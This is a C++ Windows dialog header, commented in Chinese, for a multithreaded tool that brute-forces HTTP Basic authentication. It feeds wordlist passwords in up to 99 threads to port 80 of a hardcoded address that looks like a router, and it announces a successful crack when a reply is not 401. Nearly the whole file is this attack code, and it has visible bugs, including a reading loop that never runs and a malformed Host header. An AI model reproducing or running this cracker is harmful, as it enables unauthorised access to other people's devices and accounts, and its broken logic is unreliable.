// MainDlg.h : interface of the CMainDlg class
//
/////////////////////////////////////////////////////////////////////////////

#pragma once

//全局变量
WSADATA Data;
SOCKADDR_IN destSockAddr;
unsigned long destAddr;

BOOL IsFind=FALSE;
char szdestIP[256];
char Username[128];
HANDLE hThread[99];
std::deque <std::string> dequePass;

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
	Sleep(1000);
	SOCKET destSocket;
	while (dequePass.size()>0&&IsFind==FALSE)	//条件：队列非空，密码未找到
	{
		char sendbuf[1024]={0};
		char recvbuf[1024]={0};

		destSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (destSocket==INVALID_SOCKET)
		{
			WSACleanup();
			MessageBox(NULL,TEXT("线程:绑定soket失败"),TEXT("错误"),0);
			return 1;
		}

		if (connect(destSocket,(LPSOCKADDR) &destSockAddr,sizeof(destSockAddr))==SOCKET_ERROR)
		{
			MessageBox(NULL,TEXT("线程:连接失败"),TEXT("错误"),0);
			closesocket(destSocket);
			return 1;
		}

		char NamePass[256]={0};
		strcat(NamePass,Username);
		strcat(NamePass,":");
		strcat(NamePass,dequePass.front().c_str());
		dequePass.pop_front();
		char B64UserPass[256]={0};

		int nDestLen = Base64EncodeGetRequiredLength(strlen(NamePass));
		Base64Encode((BYTE*)NamePass,strlen(NamePass),B64UserPass,&nDestLen,0);

		strcat(sendbuf,"GET / HTTP/1.1\r\n"
				"Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, image/pjpeg, */*\r\n"
				"Accept-Language: zh-cn\r\n"
				"User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)\r\n"
				"Accept-Encoding: gzip, deflate\r\n"
				"Host: ");
		strcat(sendbuf,szdestIP);
		strcat(sendbuf,"Connection: Keep-Alive\r\nAuthorization: Basic ");
		strcat(sendbuf,B64UserPass);
		strcat(sendbuf,"\r\n");

		if (send(destSocket,sendbuf,strlen(sendbuf)+1,0)==SOCKET_ERROR)
			OutputDebugString(TEXT("Error On send"));
		if (recv(destSocket,recvbuf,1024,0)==SOCKET_ERROR)
			OutputDebugString(TEXT("Error On recv"));
		if (!strstr(recvbuf,"HTTP/1.1 401"))
		{
		//通知其它线程退出;
			IsFind=TRUE;
			 memset(sendbuf,0,256);
			_snprintf_s(sendbuf,256,"破解成功，账号密码是 %s",NamePass);
			MessageBoxA(NULL,NamePass,"提示",0);
			return 0;
		}


// 		char tempstr[256];
// 		_snprintf_s(tempstr,256,"当前数值 %d 线程ＩＤ%d\n",i,GetCurrentThreadId());
// 		OutputDebugStringA(tempstr);

	}//End While

	return 0;

}

DWORD WINAPI PassFileThreadProc(LPVOID lpm_hWnd)
{
	HWND m_hWnd=*(HWND*)lpm_hWnd;
	char passfile[256];
	char readline[256];
	
	GetDlgItemTextA(m_hWnd,IDC_EDIT_Name,Username,32);//取用户名
	//取密码
	GetDlgItemTextA(m_hWnd,IDC_EDIT_PassFile,passfile,256);
	FILE* hfpass=fopen(passfile,"r");
	if (!hfpass)
	{
		MessageBox(NULL,TEXT("打开密码文件失败！"),TEXT("错误"),0);
		return 1;
	}
		while (!feof(hfpass)&&IsFind==TRUE)
		{
			if (dequePass.size()<2000)
			{
				memset(readline,0,256);
				fgets(readline,256,hfpass);
				dequePass.push_back(readline);
			}else{
				Sleep(1000);
			}


		}//While End

		//判断猜解线程是否还存在
/*
		BOOL IsThread=TRUE;
		while (IsThread)
		{
			for (int i=0;i<99;i++)
			{
			 if (hThread[i])
			 {
			 }

			}

		}
*/




return 0;
}


class CMainDlg : public CDialogImpl<CMainDlg>, public CUpdateUI<CMainDlg>,
		public CMessageFilter, public CIdleHandler
{
public:
	enum { IDD = IDD_MAINDLG };
	WTL::CTrackBarCtrl  trackbar;//线程数拉动条

	virtual BOOL PreTranslateMessage(MSG* pMsg)
	{
		return CWindow::IsDialogMessage(pMsg);
	}

	virtual BOOL OnIdle()
	{
		return FALSE;
	}

	BEGIN_UPDATE_UI_MAP(CMainDlg)
	END_UPDATE_UI_MAP()

	BEGIN_MSG_MAP(CMainDlg)
		MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog)
		MESSAGE_HANDLER(WM_DESTROY, OnDestroy)
		MESSAGE_HANDLER(WM_CLOSE,OnClose)
		COMMAND_ID_HANDLER(IDC_BUTTON1,OnStart)
		COMMAND_ID_HANDLER(IDC_BT_PathFile,OnPathFile)
		NOTIFY_HANDLER(IDC_SLIDER1,NM_CUSTOMDRAW,OnSlider)
	END_MSG_MAP()

// Handler prototypes (uncomment arguments if needed):
//	LRESULT MessageHandler(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
//	LRESULT CommandHandler(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
//	LRESULT NotifyHandler(int /*idCtrl*/, LPNMHDR /*pnmh*/, BOOL& /*bHandled*/)

	LRESULT OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
	{
		// center the dialog on the screen
		CenterWindow();

		// set icons
		HICON hIcon = (HICON)::LoadImage(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDR_MAINFRAME), 
			IMAGE_ICON, ::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON), LR_DEFAULTCOLOR);
		SetIcon(hIcon, TRUE);
		HICON hIconSmall = (HICON)::LoadImage(_Module.GetResourceInstance(), MAKEINTRESOURCE(IDR_MAINFRAME), 
			IMAGE_ICON, ::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON), LR_DEFAULTCOLOR);
		SetIcon(hIconSmall, FALSE);

		// register object for message filtering and idle updates
		CMessageLoop* pLoop = _Module.GetMessageLoop();
		ATLASSERT(pLoop != NULL);
		pLoop->AddMessageFilter(this);
		pLoop->AddIdleHandler(this);

		UIAddChildWindowContainer(m_hWnd);
		trackbar=GetDlgItem(IDC_SLIDER1);
		trackbar.SetRange(1,99,TRUE);
		trackbar.SetPos(1);
		
		return TRUE;
	}

	LRESULT OnDestroy(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
	{
		// unregister message filtering and idle updates
		CMessageLoop* pLoop = _Module.GetMessageLoop();
		ATLASSERT(pLoop != NULL);
		pLoop->RemoveMessageFilter(this);
		pLoop->RemoveIdleHandler(this);

		return 0;
	}

	LRESULT OnClose(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
	{
		DestroyWindow();
		::PostQuitMessage(0);
		return TRUE;
	}
	LRESULT  OnSlider( int wParam, LPNMHDR lParam,BOOL &bHandled)
	{//TRBN_THUMBPOSCHANGING
		NMCUSTOMDRAW *pNMHDR = (NMCUSTOMDRAW*)lParam;
		WCHAR tno[3];
		if(pNMHDR->hdr.code ==  NM_CUSTOMDRAW) 
		{
			int x=trackbar.GetPos();
			_itow(x,tno,10);
			SetDlgItemText(IDC_STATIC_TNO,tno);
		}
		 //MessageBox(TEXT("dd"),TEXT("bb"),0);
		return 0;
	}


	LRESULT OnStart(WORD /*wNotifyCode*/, WORD wID, HWND hWndCtl, BOOL& /*bHandled*/)
	{
		//设置全局变量，用户名，IP
		if (!GetDlgItemTextA(m_hWnd,IDC_EDIT_Name,Username,128))
			return S_FALSE;
		if (!GetDlgItemTextA(m_hWnd,IDC_EDIT_IP,szdestIP,128))
			return S_FALSE;
		//初始化SOCKET
		if(WSAStartup(MAKEWORD(1, 1), &Data))
			MessageBox(TEXT("WSAStartup出错"),TEXT("错误"),0);
		destAddr=inet_addr("192.168.5.1");
		if (destAddr==INADDR_NONE)
			MessageBox(TEXT("请检查IP地址是否正确！"),TEXT("错误"),0);
		destSockAddr.sin_port=htons(80);
		memcpy(&destSockAddr.sin_addr,&destAddr, sizeof(destAddr));
		destSockAddr.sin_family=AF_INET;

		//创建线程读取密码文件
		HANDLE hReadFile=CreateThread(NULL,NULL,PassFileThreadProc,&m_hWnd,NULL,NULL);
// 		if (WaitForSingleObject(hReadFile,500)!=WAIT_TIMEOUT)
// 		{
// 			MessageBox(TEXT("读取密码文件失败！"),TEXT("错误"),0);
// 			return 0;
// 		}
		//开始创建线程

		for(int i=0;i<trackbar.GetPos();i++)
		{
			hThread[i]=CreateThread(NULL,NULL,ThreadProc,NULL,NULL,NULL);
		}

		trackbar.EnableWindow(FALSE);
		::EnableWindow(hWndCtl,FALSE);
		return 0;
	}	
	LRESULT OnPathFile(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
	{
/*
		//选择文件夹
		BROWSEINFO   bi;
		LPITEMIDLIST   Path; 
		memset(&bi,0,sizeof(BROWSEINFO)); 
		bi.pszDisplayName   =  TEXT("./") ; 
		bi.hwndOwner     =   m_hWnd; 
		bi.ulFlags   =   BIF_RETURNONLYFSDIRS|BIF_STATUSTEXT; 
		Path   =   SHBrowseForFolder(&bi); */

		//选择文件
		OPENFILENAMEA ofn;      
		char szFile[260];      

		ZeroMemory(&ofn, sizeof(ofn));
		ofn.lStructSize = sizeof(ofn);
		ofn.hwndOwner = NULL;
		ofn.lpstrFile = szFile;
		ofn.lpstrFile[0] = '\0';
		ofn.nMaxFile = sizeof(szFile);
		ofn.lpstrFilter = "字典文件\0*.TXT;*.DIC\0";
		ofn.nFilterIndex = 1;
		ofn.lpstrFileTitle = NULL;
		ofn.nMaxFileTitle = 0;
		ofn.lpstrInitialDir = NULL;
		ofn.Flags = 0;
		if (GetOpenFileNameA(&ofn)==FALSE)
			return S_FALSE;
		SetDlgItemTextA(m_hWnd,IDC_EDIT_PassFile,ofn.lpstrFile);
		return TRUE;
	}
};
